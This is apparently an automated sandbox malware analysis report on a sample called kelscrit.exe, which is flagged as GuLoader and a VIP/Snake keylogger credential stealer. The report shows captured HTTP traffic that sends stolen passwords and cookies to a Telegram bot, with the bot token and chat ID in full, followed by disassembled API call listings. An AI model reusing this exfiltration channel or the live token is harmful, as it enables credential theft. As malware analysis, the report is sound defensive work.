2024-12-03 09:12:47 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 09:12:47 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 09:12:47 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49876	149.154.167.220	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:55 UTC	344	OUT	POST /bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd14d03d71ef37 Host: api.telegram.org Content-Length: 581
2024-12-03 09:12:55 UTC	581	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 64 30 33 64 37 31 65 66 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 34 35 38 31 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 33 2f 31 32 2f 32 30 32 34 20 2f 20 30 34 3a 31 32 3a 31 36 0d Data Ascii: --------------------------8dd14d03d71ef37Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:445817Date and Time: 03/12/2024 / 04:12:16
2024-12-03 09:12:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 09:12:55 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 09:12:55 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 38 38 36 37 33 31 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6d 65 63 79 63 6c 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 65 63 79 63 6c 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 33 36 31 34 35 30 33 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 41 6e 74 6f 6e 69 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 41 6e 74 6f 6e 69 6f 5f 32 33 35 38 39 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 37 31 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":369,"from":{"id":6358867316,"is_bot":true,"first_name":"mecycle","username":"mecyclebot"},"chat":{"id":6361450335,"first_name":"Antonio","username":"Antonio_23589","type":"private"},"date":1733217175,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49884	149.154.167.220	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:58 UTC	350	OUT	POST /bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd14fa72900cf5 Host: api.telegram.org Content-Length: 7046
2024-12-03 09:12:58 UTC	7046	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 66 61 37 32 39 30 30 63 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 34 35 38 31 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 33 2f 31 32 2f 32 30 32 34 20 2f Data Ascii: --------------------------8dd14fa72900cf5Content-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies \| user \| VIP Recovery PC Name:445817Date and Time: 03/12/2024 /
2024-12-03 09:12:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 09:12:58 GMT Content-Type: application/json Content-Length: 525 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 09:12:59 UTC	525	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 38 38 36 37 33 31 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6d 65 63 79 63 6c 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 65 63 79 63 6c 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 33 36 31 34 35 30 33 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 41 6e 74 6f 6e 69 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 41 6e 74 6f 6e 69 6f 5f 32 33 35 38 39 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 37 31 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":370,"from":{"id":6358867316,"is_bot":true,"first_name":"mecycle","username":"mecyclebot"},"chat":{"id":6361450335,"first_name":"Antonio","username":"Antonio_23589","type":"private"},"date":1733217178,"document":{"file_nam

Target ID:	0
Start time:	04:10:55
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\kelscrit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kelscrit.exe"
Imagebase:	0x400000
File size:	576'616 bytes
MD5 hash:	64EA70B77E9654021DFE4C5B42A788DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2241067625.00000000062AA000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:11:54
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\kelscrit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kelscrit.exe"
Imagebase:	0x400000
File size:	576'616 bytes
MD5 hash:	64EA70B77E9654021DFE4C5B42A788DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.2918207861.000000000362A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	13.7%
Signature Coverage:	16.1%
Total number of Nodes:	1576
Total number of Limit Nodes:	42

Executed Functions

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403575
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004035A0
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004035B3
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040364C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403689
OleInitialize.OLE32(00000000), ref: 00403690
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 004036AF
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036C4
CharNextW.USER32(00000000,"C:\Users\user\Desktop\kelscrit.exe",00000020,"C:\Users\user\Desktop\kelscrit.exe",00000000,?,00000008,0000000A,0000000C), ref: 004036FD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403835
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403852
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403866
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040386E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403887
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040389B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe",00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403974

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

wsprintfW.USER32 ref: 004039D1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 00403A04
DeleteFileW.KERNEL32(00437800), ref: 00403A10
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A3E

Part of subcall function 00406337: MoveFileExW.KERNEL32(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341

CopyFileW.KERNEL32(C:\Users\user\Desktop\kelscrit.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A54

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(74DF3420,0042FAB8,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
ExitProcess.KERNEL32 ref: 00403ABF
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
ExitProcess.KERNEL32 ref: 00403B69

Part of subcall function 00405B25: CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B

Strings

C:\Users\user\Desktop, xrefs: 00403992
NSIS Error, xrefs: 004036B5
TMP, xrefs: 00403882
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040381A, 0040393C, 00403989, 00403997
TEMP, xrefs: 0040387A
SeShutdownPrivilege, xrefs: 00403AF8
C:\Users\user\Desktop\kelscrit.exe, xrefs: 00403A4F
\Temp, xrefs: 0040384C
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403947
1033, xrefs: 00403896
~nsu%X.tmp, xrefs: 004039C8
"C:\Users\user\Desktop\kelscrit.exe", xrefs: 004036CA, 004036D0, 004036E5, 004038C3
C:\Users\user\AppData\Local\Temp\, xrefs: 0040382A, 0040382F, 00403845, 00403851, 00403860, 0040386D, 00403879, 00403881, 0040396F, 004039F0, 00403A1C, 00403A3D, 00403A46
Error launching installer, xrefs: 0040391D
UXTHEME, xrefs: 00403640, 00403645, 0040364B
Low, xrefs: 00403868

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: "C:\Users\user\Desktop\kelscrit.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\Desktop$C:\Users\user\Desktop\kelscrit.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-1930761826
Opcode ID: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
Opcode Fuzzy Hash: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405799
GetDlgItem.USER32(?,000003EE), ref: 004057A8
GetClientRect.USER32(?,?), ref: 004057E5
GetSystemMetrics.USER32(00000002), ref: 004057EC
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
ShowWindow.USER32(?,00000008), ref: 00405888
GetDlgItem.USER32(?,000003EC), ref: 004058A9
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
GetDlgItem.USER32(?,000003F8), ref: 004057B7

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

GetDlgItem.USER32(?,000003EC), ref: 004058FB
CreateThread.KERNELBASE(00000000,00000000,Function_000056CF,00000000), ref: 00405909
CloseHandle.KERNELBASE(00000000), ref: 00405910
ShowWindow.USER32(00000000), ref: 00405934
ShowWindow.USER32(?,00000008), ref: 00405939
ShowWindow.USER32(00000008), ref: 00405983
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
CreatePopupMenu.USER32 ref: 004059C8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
GetWindowRect.USER32(?,?), ref: 004059FC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
OpenClipboard.USER32(00000000), ref: 00405A5D
EmptyClipboard.USER32 ref: 00405A63
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
GlobalLock.KERNEL32(00000000), ref: 00405A79
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
CloseClipboard.USER32 ref: 00405ABE

Strings

{, xrefs: 004059A1

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
Opcode Fuzzy Hash: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58

Function 6F951BFF Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6F9512BB: GlobalAlloc.KERNEL32(00000040,?,6F9512DB,?,6F95137F,00000019,6F9511CA,-000000A0), ref: 6F9512C5

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6F951D2D
lstrcpyW.KERNEL32(00000008,?), ref: 6F951D75
lstrcpyW.KERNEL32(00000808,?), ref: 6F951D7F
GlobalFree.KERNEL32(00000000), ref: 6F951D92
GlobalFree.KERNEL32(?), ref: 6F951E74
GlobalFree.KERNEL32(?), ref: 6F951E79
GlobalFree.KERNEL32(?), ref: 6F951E7E
GlobalFree.KERNEL32(00000000), ref: 6F952068
lstrcpyW.KERNEL32(?,?), ref: 6F952222
GetModuleHandleW.KERNEL32(00000008), ref: 6F9522A1
LoadLibraryW.KERNEL32(00000008), ref: 6F9522B2
GetProcAddress.KERNEL32(?,?), ref: 6F95230C
lstrlenW.KERNEL32(00000808), ref: 6F952326

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 9a8ab02a41b772adc74af0a8b9aba5a45e68dbcdb3aad89f3c0d02bd56d6dd15
Instruction ID: 1f368538a7fbd1183819abe5507f5e298af6685b7d4510b94ec9fdf37b4a6aa2
Opcode Fuzzy Hash: 9a8ab02a41b772adc74af0a8b9aba5a45e68dbcdb3aad89f3c0d02bd56d6dd15
Instruction Fuzzy Hash: 72228A71D0460ADADB24CFB8C9806EEB7B8FF06315F20462AD565E62C0E774E6E5CB50

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405CAC
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405CF4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405D17
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405D1D
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405D2D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
FindClose.KERNEL32(00000000), ref: 00405DDC

Strings

pB, xrefs: 00405CDC
\*.*, xrefs: 00405CEE
"C:\Users\user\Desktop\kelscrit.exe", xrefs: 00405C8C
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C90

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\kelscrit.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-3424906430
Opcode ID: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
Opcode Fuzzy Hash: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE

Function 004068D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

